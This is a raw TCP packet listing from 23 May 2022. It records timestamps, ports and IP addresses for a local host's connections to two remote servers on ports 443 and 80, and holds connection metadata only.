May 23, 2022 08:34:53.119622946 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.119637966 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.119710922 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.119746923 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.119836092 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.119878054 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.120029926 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.120100975 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.120115995 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.120151997 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.120249987 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.120309114 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.120400906 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.120456934 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.120544910 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.120644093 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.120805979 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.120826960 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.120903015 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.120919943 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.120991945 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.121018887 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.121164083 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.121181965 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.121269941 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.121289015 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.121361971 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.121382952 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.121468067 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.121490002 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.121556997 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.121609926 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.121699095 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.122052908 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.181230068 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.181359053 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.181394100 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.181433916 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.181453943 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.181458950 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.181508064 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.181526899 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.181544065 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.181556940 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.181591034 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.181607008 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.181627035 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.181654930 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.181699991 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.181726933 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.181746006 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.181755066 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.181759119 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.181787014 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.181804895 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.181838989 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.181859016 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.181865931 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.181884050 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.181895018 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.181941986 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.182013988 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.182084084 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.182101011 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.182116985 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.182169914 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.182605982 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.182620049 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.283829927 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.283905983 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.283976078 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.284046888 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.284069061 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.284097910 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.284106016 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.284140110 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.284148932 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.284166098 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.284174919 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.284198999 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.284209013 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.284225941 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.284254074 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.284260035 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.284281015 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.284301996 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.284311056 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.284337044 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.284348965 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.284368992 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.284375906 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.284399033 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.284411907 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.284430027 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.284440041 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.284459114 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.284470081 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.284491062 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.284501076 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.284523964 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.284548998 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.284559965 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.284607887 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.285006046 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.285732031 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.286755085 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.286833048 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.286865950 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.286927938 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.286942959 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.287018061 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.287029982 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.287058115 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.287086010 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.287096024 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.287113905 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.287152052 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.287162066 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.287193060 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.287197113 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.287210941 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.287219048 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.287249088 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.287277937 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.287281990 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.287297010 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.287350893 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.287374973 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.287444115 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.287452936 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.287498951 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.287508965 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.287518978 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.287566900 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.287573099 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.287585974 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.287616014 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.287645102 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.287653923 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.287693024 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.287781000 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.287789106 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.287795067 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.287837982 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.288865089 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.289266109 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.350213051 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.350336075 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.350438118 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.350969076 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.351181984 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.351208925 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.351300955 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.351495981 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.352061033 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.463591099 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.463716030 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.463762045 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.463782072 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.463813066 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.463825941 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.463830948 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.463848114 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.463850975 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.463865995 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.463905096 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.463912964 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.463927031 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.463957071 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.463973045 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.463973999 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.463984013 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.464020967 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.464219093 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.464607954 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.464656115 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.464689970 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.464710951 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.464721918 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.464735985 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.464745045 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.464755058 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.464792013 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.464869022 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.464894056 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.518511057 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.518733025 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.518755913 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.518821955 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.518832922 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.518860102 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.518933058 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.518975973 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.519049883 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.519181013 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.519243002 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.519256115 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.519269943 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.519294024 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.519330978 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.519426107 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.519439936 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.519500971 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.519510031 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.519553900 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.519594908 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.519664049 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.520672083 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.614923000 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.615099907 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.617367983 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.617464066 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.617503881 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.617506981 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.617530107 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.617541075 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.617543936 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.617547035 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.617567062 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.617574930 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.617594004 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.617604971 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.617625952 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.617659092 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.617762089 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.617789030 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.617847919 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.617856026 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.617868900 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.617887020 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.617894888 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.617907047 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.617921114 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.617932081 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.617980957 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.618073940 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.618109941 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.618134022 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.618144035 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.618155956 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.618171930 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.618180037 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.618211031 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.618211985 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.618247032 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.618457079 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.621690989 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.621725082 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:55.728652954 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:55.885375023 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:55.885562897 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:55.892431021 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.048896074 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.077950954 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.077990055 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.078013897 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.078099012 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.078142881 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.078144073 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.078171015 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.078174114 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.078183889 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.078197002 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.078197956 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.078226089 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.078232050 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.078260899 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.078432083 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.078459024 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.078474998 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.078494072 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.081701994 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.234586000 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.234615088 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.234632015 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.234649897 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.234668016 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.234677076 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.234687090 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.234698057 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.234699965 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.234713078 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.234728098 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.234730959 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.234745979 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.234749079 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.234766006 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.234766960 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.234781981 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.234788895 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.234798908 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.234801054 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.234813929 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.234817028 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.234832048 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.234833956 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.234848976 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.234850883 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.234859943 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.234867096 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.234883070 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.234884977 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.234894991 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.234900951 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.234910965 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.234937906 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.235521078 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.391273975 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.391370058 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.391376972 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.391437054 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.391438007 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.391494036 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.391527891 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.391546965 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.391550064 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.391601086 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.391603947 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.391659975 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.391659975 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.391710997 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.391711950 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.391762018 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.391766071 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.391817093 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.391819954 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.391870022 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.391871929 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.391925097 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.391928911 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.391980886 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.391980886 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.392030954 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.392035007 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.392086983 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.392090082 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.392141104 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.392144918 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.392195940 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.392199039 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.392250061 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.392252922 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.392306089 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.392307997 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.392362118 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.392360926 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.392412901 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.392426968 CEST	80	49175	160.153.40.1	192.168.2.22
